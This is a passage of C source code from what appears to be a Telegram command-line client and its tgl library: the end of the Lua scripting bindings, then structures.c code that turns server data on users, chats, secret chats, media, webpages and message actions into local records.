9; 1807 | } 1808 | 1809 | int ok = 0; 1810 | #define VARIANT(name) \ 1811 | if (len == strlen (#name) && !strncmp (s, #name, len)) {\ 1812 | cmd.args[n - 5 - i] = ca_ ## name | optional; \ 1813 | ok = 1; \ 1814 | } 1815 | 1816 | VARIANT (user) 1817 | VARIANT (chat) 1818 | VARIANT (secret_chat) 1819 | VARIANT (peer) 1820 | VARIANT (file_name) 1821 | VARIANT (file_name_end) 1822 | VARIANT (period) 1823 | VARIANT (number) 1824 | VARIANT (double) 1825 | VARIANT (string_end) 1826 | VARIANT (string) 1827 | 1828 | #undef VARTIANT 1829 | 1830 | if (!ok) { 1831 | lua_pushboolean (L, 0); 1832 | return 1; 1833 | } 1834 | } 1835 | 1836 | const char *s = lua_tostring (L, -1); 1837 | lua_pop (L, 1); 1838 | 1839 | cmd.desc = s ? tstrdup (s) : tstrdup ("no help provided"); 1840 | 1841 | int a1 = luaL_ref (L, LUA_REGISTRYINDEX); 1842 | int a2 = luaL_ref (L, LUA_REGISTRYINDEX); 1843 | 1844 | struct lua_query_extra *e = malloc (sizeof (*e)); 1845 | assert (e); 1846 | e->func = a2; 1847 | e->param = a1; 1848 | 1849 | cmd.arg = e; 1850 | 1851 | cmd.fun = do_interface_from_lua; 1852 | 1853 | s = lua_tostring (L, -1); 1854 | lua_pop (L, 1); 1855 | 1856 | cmd.name = tstrdup (s ? s : "none"); 1857 | 1858 | register_new_command (&cmd); 1859 | 1860 | lua_pushboolean (L, 1); 1861 | return 1; 1862 | } 1863 | 1864 | 1865 | void lua_init (const char *file) { 1866 | if (!file) { return; } 1867 | have_file = 1; 1868 | luaState = luaL_newstate (); 1869 | luaL_openlibs (luaState); 1870 | 1871 | int i = 0; 1872 | while (functions[i].name) { 1873 | my_lua_register (luaState, functions[i].name, universal_from_lua); 1874 | i ++; 1875 | } 1876 | 1877 | lua_register (luaState, "postpone", postpone_from_lua); 1878 | lua_register (luaState, "safe_quit", safe_quit_from_lua); 1879 | lua_register (luaState, "register_interface_function", register_interface_from_lua); 1880 | 1881 | print_start (); 1882 | int r = luaL_dofile (luaState, file); 1883 | print_end (); 1884 | 1885 | if (r) { 1886 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 1887 | exit (1); 1888 | } 1889 | } 1890 | 1891 | #endif 1892 | -------------------------------------------------------------------------------- /Tg/tgl/structures.c: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of tgl-library 3 | 4 | This library is free software; you can redistribute it and/or 5 | modify it under the terms of the GNU Lesser General Public 6 | License as published by the Free Software Foundation; either 7 | version 2.1 of the License, or (at your option) any later version. 8 | 9 | This library is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | Lesser General Public License for more details. 13 | 14 | You should have received a copy of the GNU Lesser General Public 15 | License along with this library; if not, write to the Free Software 16 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 17 | 18 | Copyright Vitaly Valtman 2013-2015 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include 26 | #include 27 | #include 28 | #include "tgl-structures.h" 29 | #include "mtproto-common.h" 30 | //#include "telegram.h" 31 | #include "tree.h" 32 | #include 33 | #include 34 | #include 35 | #include "queries.h" 36 | #include "tgl-binlog.h" 37 | #include "tgl-methods-in.h" 38 | #include "updates.h" 39 | #include "mtproto-client.h" 40 | 41 | #include "tgl.h" 42 | #include "auto.h" 43 | #include "auto/auto-types.h" 44 | #include "auto/auto-skip.h" 45 | #include "auto/auto-fetch-ds.h" 46 | #include "auto/auto-free-ds.h" 47 | 48 | #define sha1 SHA1 49 | 50 | struct random2local { 51 | long long random_id; 52 | int local_id; 53 | }; 54 | 55 | static int id_cmp (struct tgl_message *M1, struct tgl_message *M2); 56 | #define peer_cmp(a,b) (tgl_cmp_peer_id (a->id, b->id)) 57 | #define peer_cmp_name(a,b) (strcmp (a->print_name, b->print_name)) 58 | 59 | static int random_id_cmp (struct random2local *L, struct random2local *R) { 60 | if (L->random_id < R->random_id) { return -1; } 61 | if (L->random_id > R->random_id) { return 1; } 62 | return 0; 63 | } 64 | 65 | static int photo_id_cmp (struct tgl_photo *L, struct tgl_photo *R) { 66 | if (L->id < R->id) { return -1; } 67 | if (L->id > R->id) { return 1; } 68 | return 0; 69 | } 70 | 71 | static int document_id_cmp (struct tgl_document *L, struct tgl_document *R) { 72 | if (L->id < R->id) { return -1; } 73 | if (L->id > R->id) { return 1; } 74 | return 0; 75 | } 76 | 77 | static int webpage_id_cmp (struct tgl_webpage *L, struct tgl_webpage *R) { 78 | if (L->id < R->id) { return -1; } 79 | if (L->id > R->id) { return 1; } 80 | return 0; 81 | } 82 | 83 | DEFINE_TREE(peer,tgl_peer_t *,peer_cmp,0) 84 | DEFINE_TREE(peer_by_name,tgl_peer_t *,peer_cmp_name,0) 85 | DEFINE_TREE(message,struct tgl_message *,id_cmp,0) 86 | DEFINE_TREE(random_id,struct random2local *, random_id_cmp,0) 87 | DEFINE_TREE(photo,struct tgl_photo *,photo_id_cmp,0) 88 | DEFINE_TREE(document,struct tgl_document *,document_id_cmp,0) 89 | DEFINE_TREE(webpage,struct tgl_webpage *,webpage_id_cmp,0) 90 | 91 | 92 | char *tgls_default_create_print_name (struct tgl_state *TLS, tgl_peer_id_t id, const char *a1, const char *a2, const char *a3, const char *a4) { 93 | const char *d[4]; 94 | d[0] = a1; d[1] = a2; d[2] = a3; d[3] = a4; 95 | static char buf[10000]; 96 | buf[0] = 0; 97 | int i; 98 | int p = 0; 99 | for (i = 0; i < 4; i++) { 100 | if (d[i] && strlen (d[i])) { 101 | p += tsnprintf (buf + p, 9999 - p, "%s%s", p ? "_" : "", d[i]); 102 | assert (p < 9990); 103 | } 104 | } 105 | char *s = buf; 106 | while (*s) { 107 | if (((unsigned char)*s) <= ' ') { *s = '_'; } 108 | if (*s == '#') { *s = '@'; } 109 | s++; 110 | } 111 | s = buf; 112 | int fl = strlen (s); 113 | int cc = 0; 114 | while (1) { 115 | tgl_peer_t *P = tgl_peer_get_by_name (TLS, s); 116 | if (!P || !tgl_cmp_peer_id (P->id, id)) { 117 | break; 118 | } 119 | cc ++; 120 | assert (cc <= 9999); 121 | tsnprintf (s + fl, 9999 - fl, "#%d", cc); 122 | } 123 | return tstrdup (s); 124 | } 125 | 126 | enum tgl_typing_status tglf_fetch_typing_new (struct tl_ds_send_message_action *DS_SMA) { 127 | if (!DS_SMA) { return 0; } 128 | switch (DS_SMA->magic) { 129 | case CODE_send_message_typing_action: 130 | return tgl_typing_typing; 131 | case CODE_send_message_cancel_action: 132 | return tgl_typing_cancel; 133 | case CODE_send_message_record_video_action: 134 | return tgl_typing_record_video; 135 | case CODE_send_message_upload_video_action: 136 | return tgl_typing_upload_video; 137 | case CODE_send_message_record_audio_action: 138 | return tgl_typing_record_audio; 139 | case CODE_send_message_upload_audio_action: 140 | return tgl_typing_upload_audio; 141 | case CODE_send_message_upload_photo_action: 142 | return tgl_typing_upload_photo; 143 | case CODE_send_message_upload_document_action: 144 | return tgl_typing_upload_document; 145 | case CODE_send_message_geo_location_action: 146 | return tgl_typing_geo; 147 | case CODE_send_message_choose_contact_action: 148 | return tgl_typing_choose_contact; 149 | default: 150 | assert (0); 151 | return tgl_typing_none; 152 | } 153 | } 154 | 155 | enum tgl_typing_status tglf_fetch_typing (void) { 156 | struct tl_ds_send_message_action *DS_SMA = fetch_ds_type_send_message_action (TYPE_TO_PARAM (send_message_action)); 157 | enum tgl_typing_status res = tglf_fetch_typing_new (DS_SMA); 158 | free_ds_type_send_message_action (DS_SMA, TYPE_TO_PARAM (send_message_action)); 159 | return res; 160 | } 161 | 162 | /* {{{ Fetch */ 163 | 164 | int tglf_fetch_file_location_new (struct tgl_state *TLS, struct tgl_file_location *loc, struct tl_ds_file_location *DS_FL) { 165 | if (!DS_FL) { return 0; } 166 | loc->dc = DS_LVAL (DS_FL->dc_id); 167 | loc->volume = DS_LVAL (DS_FL->volume_id); 168 | loc->local_id = DS_LVAL (DS_FL->local_id); 169 | loc->secret = DS_LVAL (DS_FL->secret); 170 | return 0; 171 | } 172 | 173 | int tglf_fetch_user_status_new (struct tgl_state *TLS, struct tgl_user_status *S, struct tgl_user *U, struct tl_ds_user_status *DS_US) { 174 | if (!DS_US) { return 0; } 175 | switch (DS_US->magic) { 176 | case CODE_user_status_empty: 177 | if (S->online) { 178 | tgl_insert_status_update (TLS, U); 179 | if (S->online == 1) { 180 | tgl_remove_status_expire (TLS, U); 181 | } 182 | } 183 | S->online = 0; 184 | S->when = 0; 185 | break; 186 | case CODE_user_status_online: 187 | { 188 | if (S->online != 1) { 189 | S->when = DS_LVAL (DS_US->expires); 190 | if (S->online) { 191 | tgl_insert_status_update (TLS, U); 192 | } 193 | tgl_insert_status_expire (TLS, U); 194 | S->online = 1; 195 | } else { 196 | if (DS_LVAL (DS_US->expires) != S->when) { 197 | S->when = DS_LVAL (DS_US->expires); 198 | tgl_remove_status_expire (TLS, U); 199 | tgl_insert_status_expire (TLS, U); 200 | } 201 | } 202 | } 203 | break; 204 | case CODE_user_status_offline: 205 | if (S->online != -1) { 206 | if (S->online) { 207 | tgl_insert_status_update (TLS, U); 208 | } 209 | if (S->online == 1) { 210 | tgl_remove_status_expire (TLS, U); 211 | } 212 | } 213 | S->online = -1; 214 | S->when = DS_LVAL (DS_US->was_online); 215 | break; 216 | case CODE_user_status_recently: 217 | if (S->online != -2) { 218 | if (S->online) { 219 | tgl_insert_status_update (TLS, U); 220 | } 221 | if (S->online == 1) { 222 | tgl_remove_status_expire (TLS, U); 223 | } 224 | } 225 | S->online = -2; 226 | break; 227 | case CODE_user_status_last_week: 228 | if (S->online != -3) { 229 | if (S->online) { 230 | tgl_insert_status_update (TLS, U); 231 | } 232 | if (S->online == 1) { 233 | tgl_remove_status_expire (TLS, U); 234 | } 235 | } 236 | S->online = -3; 237 | break; 238 | case CODE_user_status_last_month: 239 | if (S->online != -4) { 240 | if (S->online) { 241 | tgl_insert_status_update (TLS, U); 242 | } 243 | if (S->online == 1) { 244 | tgl_remove_status_expire (TLS, U); 245 | } 246 | } 247 | S->online = -4; 248 | break; 249 | default: 250 | assert (0); 251 | } 252 | return 0; 253 | } 254 | 255 | int tglf_fetch_user_new (struct tgl_state *TLS, struct tgl_user *U, struct tl_ds_user *DS_U) { 256 | if (!DS_U) { return 0; } 257 | U->id = TGL_MK_USER (DS_LVAL (DS_U->id)); 258 | if (DS_U->magic == CODE_user_empty) { 259 | return 0; 260 | } 261 | 262 | int flags = U->flags & 0xffff; 263 | 264 | if (DS_LVAL (DS_U->flags) & (1 << 10)) { 265 | bl_do_set_our_id (TLS, tgl_get_peer_id (U->id)); 266 | flags |= TGLUF_SELF; 267 | } 268 | 269 | if (DS_LVAL (DS_U->flags) & (1 << 11)) { 270 | flags |= TGLUF_CONTACT; 271 | } 272 | 273 | if (DS_LVAL (DS_U->flags) & (1 << 12)) { 274 | flags |= TGLUF_MUTUAL_CONTACT; 275 | } 276 | 277 | 278 | if (DS_LVAL (DS_U->flags) & (1 << 14)) { 279 | flags |= TGLUF_BOT; 280 | } 281 | /* 282 | if (DS_LVAL (DS_U->flags) & (1 << 15)) { 283 | flags |= TGLUF_BOT_FULL_ACCESS; 284 | } 285 | 286 | if (DS_LVAL (DS_U->flags) & (1 << 16)) { 287 | flags |= TGLUF_BOT_NO_GROUPS; 288 | }*/ 289 | 290 | if (!(flags & TGLUF_CREATED)) { 291 | flags |= TGLUF_CREATE | TGLUF_CREATED; 292 | } 293 | 294 | bl_do_user_new (TLS, tgl_get_peer_id (U->id), 295 | DS_U->access_hash, 296 | DS_STR (DS_U->first_name), 297 | DS_STR (DS_U->last_name), 298 | DS_STR (DS_U->phone), 299 | DS_STR (DS_U->username), 300 | NULL, 301 | NULL, 0, NULL, 0, 302 | DS_U->photo, 303 | NULL, NULL, 304 | NULL, 305 | flags 306 | ); 307 | 308 | if (DS_U->status) { 309 | assert (tglf_fetch_user_status_new (TLS, &U->status, U, DS_U->status) >= 0); 310 | } 311 | 312 | if (DS_LVAL (DS_U->flags) & (1 << 13)) { 313 | if (!(U->flags & TGLUF_DELETED)) { 314 | bl_do_user_delete (TLS, U); 315 | } 316 | } 317 | 318 | return 0; 319 | } 320 | 321 | void tglf_fetch_user_full_new (struct tgl_state *TLS, struct tgl_user *U, struct tl_ds_user_full *DS_UF) { 322 | if (!DS_UF) { return; } 323 | 324 | tglf_fetch_user_new (TLS, U, DS_UF->user); 325 | 326 | int flags = U->flags & 0xffff; 327 | 328 | if (DS_BVAL (DS_UF->blocked)) { 329 | flags |= TGLUF_BLOCKED; 330 | } else { 331 | flags &= ~TGLUF_BLOCKED; 332 | } 333 | 334 | bl_do_user_new (TLS, tgl_get_peer_id (U->id), 335 | NULL, 336 | NULL, 0, 337 | NULL, 0, 338 | NULL, 0, 339 | NULL, 0, 340 | DS_UF->profile_photo, 341 | //DS_STR (DS_UF->real_first_name), DS_STR (DS_UF->real_last_name), 342 | NULL, 0, NULL, 0, 343 | NULL, 344 | NULL, NULL, 345 | DS_UF->bot_info, 346 | flags 347 | ); 348 | } 349 | 350 | void str_to_256 (unsigned char *dst, char *src, int src_len) { 351 | if (src_len >= 256) { 352 | memcpy (dst, src + src_len - 256, 256); 353 | } else { 354 | bzero (dst, 256 - src_len); 355 | memcpy (dst + 256 - src_len, src, src_len); 356 | } 357 | } 358 | 359 | void str_to_32 (unsigned char *dst, char *src, int src_len) { 360 | if (src_len >= 32) { 361 | memcpy (dst, src + src_len - 32, 32); 362 | } else { 363 | bzero (dst, 32 - src_len); 364 | memcpy (dst + 32 - src_len, src, src_len); 365 | } 366 | } 367 | 368 | void tglf_fetch_encrypted_chat_new (struct tgl_state *TLS, struct tgl_secret_chat *U, struct tl_ds_encrypted_chat *DS_EC) { 369 | if (!DS_EC) { return; } 370 | U->id = TGL_MK_ENCR_CHAT (DS_LVAL (DS_EC->id)); 371 | if (DS_EC->magic == CODE_encrypted_chat_empty) { 372 | return; 373 | } 374 | int new = !(U->flags & TGLPF_CREATED); 375 | 376 | if (DS_EC->magic == CODE_encrypted_chat_discarded) { 377 | if (new) { 378 | vlogprintf (E_WARNING, "Unknown chat in deleted state. May be we forgot something...\n"); 379 | return; 380 | } 381 | bl_do_encr_chat_delete (TLS, U); 382 | //write_secret_chat_file (); 383 | return; 384 | } 385 | 386 | static unsigned char g_key[256]; 387 | if (new) { 388 | if (DS_EC->magic != CODE_encrypted_chat_requested) { 389 | vlogprintf (E_WARNING, "Unknown chat. May be we forgot something...\n"); 390 | return; 391 | } 392 | 393 | str_to_256 (g_key, DS_STR (DS_EC->g_a)); 394 | 395 | int user_id = DS_LVAL (DS_EC->participant_id) + DS_LVAL (DS_EC->admin_id) - TLS->our_id; 396 | int r = sc_request; 397 | bl_do_encr_chat_new (TLS, tgl_get_peer_id (U->id), 398 | DS_EC->access_hash, 399 | DS_EC->date, 400 | DS_EC->admin_id, 401 | &user_id, 402 | NULL, 403 | (void *)g_key, 404 | NULL, 405 | &r, 406 | NULL, NULL, NULL, NULL, NULL, 407 | NULL, 408 | TGLECF_CREATE | TGLECF_CREATED 409 | ); 410 | } else { 411 | if (DS_EC->magic == CODE_encrypted_chat_waiting) { 412 | int r = sc_waiting; 413 | bl_do_encr_chat_new (TLS, tgl_get_peer_id (U->id), 414 | DS_EC->access_hash, 415 | DS_EC->date, 416 | NULL, 417 | NULL, 418 | NULL, 419 | NULL, 420 | NULL, 421 | &r, 422 | NULL, NULL, NULL, NULL, NULL, 423 | NULL, 424 | TGL_FLAGS_UNCHANGED 425 | ); 426 | return; // We needed only access hash from here 427 | } 428 | 429 | str_to_256 (g_key, DS_STR (DS_EC->g_a_or_b)); 430 | 431 | //write_secret_chat_file (); 432 | int r = sc_ok; 433 | bl_do_encr_chat_new (TLS, tgl_get_peer_id (U->id), 434 | DS_EC->access_hash, 435 | DS_EC->date, 436 | NULL, 437 | NULL, 438 | NULL, 439 | g_key, 440 | NULL, 441 | &r, 442 | NULL, NULL, NULL, NULL, NULL, 443 | DS_EC->key_fingerprint, 444 | TGL_FLAGS_UNCHANGED 445 | ); 446 | } 447 | } 448 | 449 | void tglf_fetch_chat_new (struct tgl_state *TLS, struct tgl_chat *C, struct tl_ds_chat *DS_C) { 450 | if (!DS_C) { return; } 451 | 452 | C->id = TGL_MK_CHAT (DS_LVAL (DS_C->id)); 453 | if (DS_C->magic == CODE_chat_empty) { 454 | return; 455 | } 456 | 457 | int flags = C->flags & 0xffff; 458 | if (!(flags & TGLCF_CREATED)) { 459 | flags |= TGLCF_CREATE | TGLCF_CREATED; 460 | } 461 | 462 | bl_do_chat_new (TLS, tgl_get_peer_id (C->id), 463 | DS_STR (DS_C->title), 464 | DS_C->participants_count, 465 | DS_C->date, 466 | NULL, 467 | NULL, 468 | DS_C->photo, 469 | NULL, 470 | NULL, 471 | NULL, NULL, 472 | flags 473 | ); 474 | } 475 | 476 | void tglf_fetch_chat_full_new (struct tgl_state *TLS, struct tgl_chat *C, struct tl_ds_messages_chat_full *DS_MCF) { 477 | if (!DS_MCF) { return; } 478 | struct tl_ds_chat_full *DS_CF = DS_MCF->full_chat; 479 | 480 | C->id = TGL_MK_CHAT (DS_LVAL (DS_CF->id)); 481 | 482 | bl_do_chat_new (TLS, tgl_get_peer_id (C->id), 483 | NULL, 0, 484 | NULL, 485 | NULL, 486 | DS_CF->participants->version, 487 | (struct tl_ds_vector *)DS_CF->participants->participants, 488 | NULL, 489 | DS_CF->chat_photo, 490 | DS_CF->participants->admin_id, 491 | NULL, NULL, 492 | C->flags & 0xffff 493 | ); 494 | 495 | if (DS_MCF->users) { 496 | int i; 497 | for (i = 0; i < DS_LVAL (DS_MCF->users->cnt); i++) { 498 | tglf_fetch_alloc_user_new (TLS, DS_MCF->users->data[i]); 499 | } 500 | } 501 | 502 | if (DS_MCF->chats) { 503 | int i; 504 | for (i = 0; i < DS_LVAL (DS_MCF->chats->cnt); i++) { 505 | tglf_fetch_alloc_chat_new (TLS, DS_MCF->chats->data[i]); 506 | } 507 | } 508 | 509 | if (DS_CF->bot_info) { 510 | int n = DS_LVAL (DS_CF->bot_info->cnt); 511 | int i; 512 | for (i = 0; i < n; i++) { 513 | struct tl_ds_bot_info *DS_BI = DS_CF->bot_info->data[i]; 514 | 515 | tgl_peer_t *P = tgl_peer_get (TLS, TGL_MK_USER (DS_LVAL (DS_BI->user_id))); 516 | if (P && (P->flags & TGLCF_CREATED)) { 517 | bl_do_user_new (TLS, tgl_get_peer_id (P->id), 518 | NULL, 519 | NULL, 0, 520 | NULL, 0, 521 | NULL, 0, 522 | NULL, 0, 523 | NULL, 524 | NULL, 0, NULL, 0, 525 | NULL, 526 | NULL, NULL, 527 | DS_BI, 528 | TGL_FLAGS_UNCHANGED 529 | ); 530 | } 531 | } 532 | } 533 | } 534 | 535 | void tglf_fetch_photo_size_new (struct tgl_state *TLS, struct tgl_photo_size *S, struct tl_ds_photo_size *DS_PS) { 536 | memset (S, 0, sizeof (*S)); 537 | 538 | S->type = DS_STR_DUP (DS_PS->type); 539 | S->w = DS_LVAL (DS_PS->w); 540 | S->h = DS_LVAL (DS_PS->h); 541 | S->size = DS_LVAL (DS_PS->size); 542 | if (DS_PS->bytes) { 543 | S->size = DS_PS->bytes->len; 544 | } 545 | 546 | tglf_fetch_file_location_new (TLS, &S->loc, DS_PS->location); 547 | } 548 | 549 | void tglf_fetch_geo_new (struct tgl_state *TLS, struct tgl_geo *G, struct tl_ds_geo_point *DS_GP) { 550 | G->longitude = DS_LVAL (DS_GP->longitude); 551 | G->latitude = DS_LVAL (DS_GP->latitude); 552 | } 553 | 554 | struct tgl_photo *tglf_fetch_alloc_photo_new (struct tgl_state *TLS, struct tl_ds_photo *DS_P) { 555 | if (!DS_P) { return NULL; } 556 | if (DS_P->magic == CODE_photo_empty) { return NULL; } 557 | 558 | struct tgl_photo *P = tgl_photo_get (TLS, DS_LVAL (DS_P->id)); 559 | if (P) { 560 | P->refcnt ++; 561 | return P; 562 | } 563 | 564 | 565 | P = talloc0 (sizeof (*P)); 566 | P->id = DS_LVAL (DS_P->id); 567 | P->refcnt = 1; 568 | 569 | tgl_photo_insert (TLS, P); 570 | 571 | P->access_hash = DS_LVAL (DS_P->access_hash); 572 | P->user_id = DS_LVAL (DS_P->user_id); 573 | P->date = DS_LVAL (DS_P->date); 574 | P->caption = NULL;//DS_STR_DUP (DS_P->caption); 575 | tglf_fetch_geo_new (TLS, &P->geo, DS_P->geo); 576 | 577 | P->sizes_num = DS_LVAL (DS_P->sizes->cnt); 578 | P->sizes = talloc (sizeof (struct tgl_photo_size) * P->sizes_num); 579 | int i; 580 | for (i = 0; i < P->sizes_num; i++) { 581 | tglf_fetch_photo_size_new (TLS, &P->sizes[i], DS_P->sizes->data[i]); 582 | } 583 | 584 | return P; 585 | } 586 | 587 | struct tgl_document *tglf_fetch_alloc_video_new (struct tgl_state *TLS, struct tl_ds_video *DS_V) { 588 | if (!DS_V) { return NULL; } 589 | 590 | if (DS_V->magic == CODE_video_empty) { return NULL; } 591 | 592 | struct tgl_document *D = tgl_document_get (TLS, DS_LVAL (DS_V->id)); 593 | if (D) { 594 | D->refcnt ++; 595 | return D; 596 | } 597 | 598 | 599 | D = talloc0 (sizeof (*D)); 600 | D->id = DS_LVAL (DS_V->id); 601 | D->refcnt = 1; 602 | 603 | tgl_document_insert (TLS, D); 604 | 605 | D->access_hash = DS_LVAL (DS_V->access_hash); 606 | D->user_id = DS_LVAL (DS_V->user_id); 607 | D->date = DS_LVAL (DS_V->date); 608 | D->caption = NULL;//DS_STR_DUP (DS_V->caption); 609 | D->duration = DS_LVAL (DS_V->duration); 610 | D->mime_type = tstrdup ("video/");//DS_STR_DUP (DS_V->mime_type); 611 | D->size = DS_LVAL (DS_V->size); 612 | tglf_fetch_photo_size_new (TLS, &D->thumb, DS_V->thumb); 613 | 614 | D->dc_id = DS_LVAL (DS_V->dc_id); 615 | D->w = DS_LVAL (DS_V->w); 616 | D->h = DS_LVAL (DS_V->h); 617 | return D; 618 | } 619 | 620 | struct tgl_document *tglf_fetch_alloc_audio_new (struct tgl_state *TLS, struct tl_ds_audio *DS_A) { 621 | if (!DS_A) { return NULL; } 622 | 623 | if (DS_A->magic == CODE_audio_empty) { return NULL; } 624 | 625 | struct tgl_document *D = tgl_document_get (TLS, DS_LVAL (DS_A->id)); 626 | if (D) { 627 | D->refcnt ++; 628 | return D; 629 | } 630 | 631 | 632 | D = talloc0 (sizeof (*D)); 633 | D->id = DS_LVAL (DS_A->id); 634 | D->refcnt = 1; 635 | 636 | tgl_document_insert (TLS, D); 637 | 638 | D->flags = TGLDF_AUDIO; 639 | 640 | D->access_hash = DS_LVAL (DS_A->access_hash); 641 | D->user_id = DS_LVAL (DS_A->user_id); 642 | D->date = DS_LVAL (DS_A->date); 643 | D->duration = DS_LVAL (DS_A->duration); 644 | D->mime_type = DS_STR_DUP (DS_A->mime_type); 645 | D->size = DS_LVAL (DS_A->size); 646 | D->dc_id = DS_LVAL (DS_A->dc_id); 647 | 648 | return D; 649 | } 650 | 651 | void tglf_fetch_document_attribute_new (struct tgl_state *TLS, struct tgl_document *D, struct tl_ds_document_attribute *DS_DA) { 652 | switch (DS_DA->magic) { 653 | case CODE_document_attribute_image_size: 654 | D->flags |= TGLDF_IMAGE; 655 | D->w = DS_LVAL (DS_DA->w); 656 | D->h = DS_LVAL (DS_DA->h); 657 | return; 658 | case CODE_document_attribute_animated: 659 | D->flags |= TGLDF_ANIMATED; 660 | return; 661 | case CODE_document_attribute_sticker: 662 | case CODE_document_attribute_sticker_l28: 663 | D->flags |= TGLDF_STICKER; 664 | return; 665 | case CODE_document_attribute_video: 666 | D->flags |= TGLDF_VIDEO; 667 | D->duration = DS_LVAL (DS_DA->duration); 668 | D->w = DS_LVAL (DS_DA->w); 669 | D->h = DS_LVAL (DS_DA->h); 670 | return; 671 | case CODE_document_attribute_audio: 672 | D->flags |= TGLDF_AUDIO; 673 | D->duration = DS_LVAL (DS_DA->duration); 674 | return; 675 | case CODE_document_attribute_filename: 676 | D->caption = DS_STR_DUP (DS_DA->file_name); 677 | return; 678 | default: 679 | assert (0); 680 | } 681 | } 682 | 683 | struct tgl_document *tglf_fetch_alloc_document_new (struct tgl_state *TLS, struct tl_ds_document *DS_D) { 684 | if (!DS_D) { return NULL; } 685 | 686 | if (DS_D->magic == CODE_document_empty) { return NULL; } 687 | 688 | struct tgl_document *D = tgl_document_get (TLS, DS_LVAL (DS_D->id)); 689 | if (D) { 690 | D->refcnt ++; 691 | return D; 692 | } 693 | 694 | 695 | D = talloc0 (sizeof (*D)); 696 | D->id = DS_LVAL (DS_D->id); 697 | D->refcnt = 1; 698 | 699 | tgl_document_insert (TLS, D); 700 | 701 | D->access_hash = DS_LVAL (DS_D->access_hash); 702 | D->user_id = DS_LVAL (DS_D->user_id); 703 | D->date = DS_LVAL (DS_D->date); 704 | D->caption = DS_STR_DUP (DS_D->file_name); 705 | D->mime_type = DS_STR_DUP (DS_D->mime_type); 706 | D->size = DS_LVAL (DS_D->size); 707 | D->dc_id = DS_LVAL (DS_D->dc_id); 708 | 709 | tglf_fetch_photo_size_new (TLS, &D->thumb, DS_D->thumb); 710 | 711 | if (DS_D->attributes) { 712 | int i; 713 | for (i = 0; i < DS_LVAL (DS_D->attributes->cnt); i++) { 714 | tglf_fetch_document_attribute_new (TLS, D, DS_D->attributes->data[i]); 715 | } 716 | } 717 | return D; 718 | } 719 | 720 | struct tgl_webpage *tglf_fetch_alloc_webpage_new (struct tgl_state *TLS, struct tl_ds_web_page *DS_W) { 721 | if (!DS_W) { return NULL; } 722 | 723 | struct tgl_webpage *W = tgl_webpage_get (TLS, DS_LVAL (DS_W->id)); 724 | if (W) { 725 | W->refcnt ++; 726 | } else { 727 | W = talloc0 (sizeof (*W)); 728 | W->id = DS_LVAL (DS_W->id); 729 | W->refcnt = 1; 730 | 731 | tgl_webpage_insert (TLS, W); 732 | } 733 | 734 | if (!W->url) { 735 | W->url = DS_STR_DUP (DS_W->url); 736 | } 737 | 738 | if (!W->display_url) { 739 | W->display_url = DS_STR_DUP (DS_W->display_url); 740 | } 741 | 742 | if (!W->type) { 743 | W->type = DS_STR_DUP (DS_W->type); 744 | } 745 | 746 | if (!W->site_name) { 747 | W->site_name = DS_STR_DUP (DS_W->site_name); 748 | } 749 | 750 | if (!W->title) { 751 | W->title = DS_STR_DUP (DS_W->title); 752 | } 753 | 754 | if (!W->photo) { 755 | W->photo = tglf_fetch_alloc_photo_new (TLS, DS_W->photo); 756 | } 757 | 758 | if (!W->description) { 759 | W->description = DS_STR_DUP (DS_W->description); 760 | } 761 | 762 | if (!W->embed_url) { 763 | W->embed_url = DS_STR_DUP (DS_W->embed_url); 764 | } 765 | 766 | if (!W->embed_type) { 767 | W->embed_type = DS_STR_DUP (DS_W->embed_type); 768 | } 769 | 770 | W->embed_width = DS_LVAL (DS_W->embed_width); 771 | 772 | W->embed_height = DS_LVAL (DS_W->embed_height); 773 | 774 | W->duration = DS_LVAL (DS_W->duration); 775 | 776 | if (!W->author) { 777 | W->author = DS_STR_DUP (DS_W->author); 778 | } 779 | return W; 780 | } 781 | 782 | void tglf_fetch_message_action_new (struct tgl_state *TLS, struct tgl_message_action *M, struct tl_ds_message_action *DS_MA) { 783 | if (!DS_MA) { return; } 784 | memset (M, 0, sizeof (*M)); 785 | 786 | switch (DS_MA->magic) { 787 | case CODE_message_action_empty: 788 | M->type = tgl_message_action_none; 789 | break; 790 | case CODE_message_action_geo_chat_create: 791 | { 792 | M->type = tgl_message_action_geo_chat_create; 793 | assert (0); 794 | } 795 | break; 796 | case CODE_message_action_geo_chat_checkin: 797 | M->type = tgl_message_action_geo_chat_checkin; 798 | break; 799 | case CODE_message_action_chat_create: 800 | { 801 | M->type = tgl_message_action_chat_create; 802 | M->title = DS_STR_DUP (DS_MA->title); 803 | 804 | M->user_num = DS_LVAL (DS_MA->users->cnt); 805 | M->users = talloc (M->user_num * 4); 806 | int i; 807 | for (i = 0; i < M->user_num; i++) { 808 | M->users[i] = DS_LVAL (DS_MA->users->data[i]); 809 | } 810 | } 811 | break; 812 | case CODE_message_action_chat_edit_title: 813 | M->type = tgl_message_action_chat_edit_title; 814 | M->new_title = DS_STR_DUP (DS_MA->title); 815 | break; 816 | case CODE_message_action_chat_edit_photo: 817 | M->type = tgl_message_action_chat_edit_photo; 818 | M->photo = tglf_fetch_alloc_photo_new (TLS, DS_MA->photo); 819 | break; 820 | case CODE_message_action_chat_delete_photo: 821 | M->type = tgl_message_action_chat_delete_photo; 822 | break; 823 | case CODE_message_action_chat_add_user: 824 | M->type = tgl_message_action_chat_add_user; 825 | M->user = DS_LVAL (DS_MA->user_id); 826 | break; 827 | case CODE_message_action_chat_delete_user: 828 | M->type = tgl_message_action_chat_delete_user; 829 | M->user = DS_LVAL (DS_MA->user_id); 830 | break; 831 | case CODE_message_action_chat_joined_by_link: 832 | M->type = tgl_message_action_chat_add_user_by_link; 833 | M->user = DS_LVAL (DS_MA->inviter_id); 834 | break; 835 | default: 836 | assert (0); 837 | } 838 | } 839 | 840 | void tglf_fetch_message_short_new (struct tgl_state *TLS, struct tgl_message *M, struct tl_ds_updates *DS_U) { 841 | tgl_peer_t *P = tgl_peer_get (TLS, TGL_MK_USER (DS_LVAL (DS_U->user_id))); 842 | if (!P || !(P->flags & TGLPF_CREATED)) { 843 | tgl_do_get_difference (TLS, 0, 0, 0); 844 | return; 845 | } 846 | 847 | int flags = M->flags 